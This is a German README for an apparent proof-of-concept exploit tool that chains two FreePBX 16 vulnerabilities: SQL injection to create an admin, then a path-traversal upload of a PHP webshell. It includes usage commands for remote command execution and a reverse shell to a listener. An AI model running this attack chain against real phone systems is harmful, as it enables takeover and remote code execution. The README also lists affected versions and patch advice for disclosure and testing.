FreePBX 16 – Unauthentifizierte SQLi zu RCE

Proof-of-concept-Exploit, der zwei FreePBX-Sicherheitslücken verknüpft, um von Nullzugriff zu Remote-Code-Ausführung auf FreePBX 16 zu gelangen.

Funktionsweise

1. Admin erstellen (CVE-2025-57819) – Eine ohne Authentifizierung erreichbare gestapelte SQL-Injection über den namespaced-Endpunkt-Lader wird verwendet, um einen brandneuen Administrator mit Vollzugriff direkt in die ampusers-Tabelle INSERT-en.
2. Authentifizieren – Der PoC meldet sich als der frisch erstellte Benutzer im Admin-Panel an.
3. Webshell ablegen (CVE-2025-61678) – Der Firmware-Upload-Handler des Endpoint-Managers wird mit einem ../../../var/www/html/<dir>-Traversal in fwbrand missbraucht, um eine PHP-Webshell in das Web-Root zu schreiben.
4. Ausführen – Einen einzelnen Befehl ausführen oder eine interaktive Reverse-Shell empfangen.

Betroffene Versionen

FreePBX 16 (Endpoint-Modul vor 16.0.92). Auch in 17.0.6 gepatcht. Auf eine behobene Version aktualisieren.

Verwendung

# single command
python3 exploit.py --rhost pbx.example.com --command "id"

# interactive reverse shell (auto-listener via pwntools)
python3 exploit.py --rhost pbx.example.com --lhost 10.0.0.5 --lport 4444

# plain HTTP / custom port
python3 exploit.py --rhost pbx.example.com --http --rport 80 --command "uname -a"

Optionen

Voraussetzungen

pip install requests pwntools

Haftungsausschluss

Nur für autorisierte Sicherheitstests und Bildungszwecke. Verwenden Sie es ausschließlich auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Erlaubnis zum Testen haben. Der Autor übernimmt keine Haftung für Missbrauch.

Schlüsselwörter

FreePBX · FreePBX 16 · FreePBX 16.0.40.7 · Sangoma PBX · Asterisk · CVE-2025-57819 · CVE-2025-61678 · unauth. SQL-Injection · gestapelte Abfrage-Injection · Endpunkt-Modul · Endpoint Manager · authentifizierter Datei-Upload · Path Traversal · Remote-Code-Ausführung · RCE · PoC · Exploit · VoIP-Sicherheit

linkedin: ehxb · medium.com/@Ehxb · github 0xEhxb